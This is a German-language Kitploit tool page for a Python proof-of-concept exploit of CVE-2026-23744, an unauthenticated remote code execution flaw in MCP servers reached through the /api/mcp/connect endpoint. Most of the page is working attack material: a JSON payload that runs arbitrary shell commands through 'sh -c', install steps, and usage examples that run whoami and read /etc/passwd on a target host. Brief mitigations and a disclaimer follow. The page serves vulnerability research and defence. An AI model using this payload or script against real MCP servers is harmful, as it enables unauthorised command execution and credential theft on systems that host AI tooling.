Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23744-POC — Python-PoC für CVE-2026-23744, nicht authentifizierte RCE in MCP-Servern über das serverConfig-Befehlsfeld von /api/mcp/connect (Standardport 6274) | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2026-23744-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubd3vn0mi/cve-2026-23744-poc

CVE-2026-23744-POC

Python-PoC für CVE-2026-23744, nicht authentifizierte RCE in MCP-Servern über das serverConfig-Befehlsfeld von /api/mcp/connect (Standardport 6274)

Repository anzeigen
2vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-23744 — MCP Server Unauthenticated RCE

Proof-of-Concept-Exploit von d3vn0mi

Übersicht

CVE-2026-23744 ist eine nicht authentifizierte Remote-Code-Execution-Schwachstelle (RCE) in MCP-kompatiblen Servern, die auf Port 6274 bereitgestellt werden. Der Endpunkt /api/mcp/connect akzeptiert ein serverConfig-Objekt, das es Aufrufern ermöglicht, einen beliebigen Betriebssystembefehl und Argumente anzugeben — ohne jegliche Authentifizierungs- oder Autorisierungsprüfungen.

Ein Angreifer mit Netzwerkzugriff auf den Dienst kann beliebige Befehle als der Benutzer ausführen, unter dem der MCP-Server läuft.

DetailWert
CVE-IDCVE-2026-23744
TypNicht authentifizierte Remote Code Execution
EndpunktPOST /api/mcp/connect
Port6274 (Standard)
SchweregradKritisch

Verwundbare Payload

root@kitploit:~
{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_COMMAND>"],
    "env": {}
  },
  "serverId": "anything"
}

Der Server startet den bereitgestellten command mit den angegebenen args, ohne Bereinigung oder Zugriffskontrolle.

Installation

root@kitploit:~
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt

Verwendung

root@kitploit:~
# Grundlegende Verwendung
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'

# Benutzerdefinierter Port
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'

# Erreichbarkeitsprüfung überspringen
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check

# Benutzerdefinierte Server-ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server

Optionen

FlagBeschreibung
-t, --targetZiel-IP oder Hostname (erforderlich)
-c, --commandAuszuführender Betriebssystembefehl (erforderlich)
-p, --portZielport (Standard: 6274)
-s, --server-idserverId-Wert in der Payload
--timeoutProbe-Timeout in Sekunden (Standard: 30)
--no-checkInitiale Erreichbarkeitsprüfung überspringen

Abhilfe

  • Setzen Sie den MCP-Server nicht ungeschützten Netzwerken aus.
  • Wenden Sie Hersteller-Patches an, sobald sie verfügbar sind.
  • Beschränken Sie den Zugriff auf den Endpunkt /api/mcp/connect über Authentifizierung und Netzwerkebenen-Kontrollen.
  • Überwachen Sie auf unerwartete Prozessstarts durch den MCP-Serverprozess.

Haftungsausschluss

Dieses Tool wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch. Holen Sie immer eine ordnungsgemäße Autorisierung ein, bevor Sie testen.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.

Autor

d3vn0mi — github.com/d3vn0mi

Tool herunterladen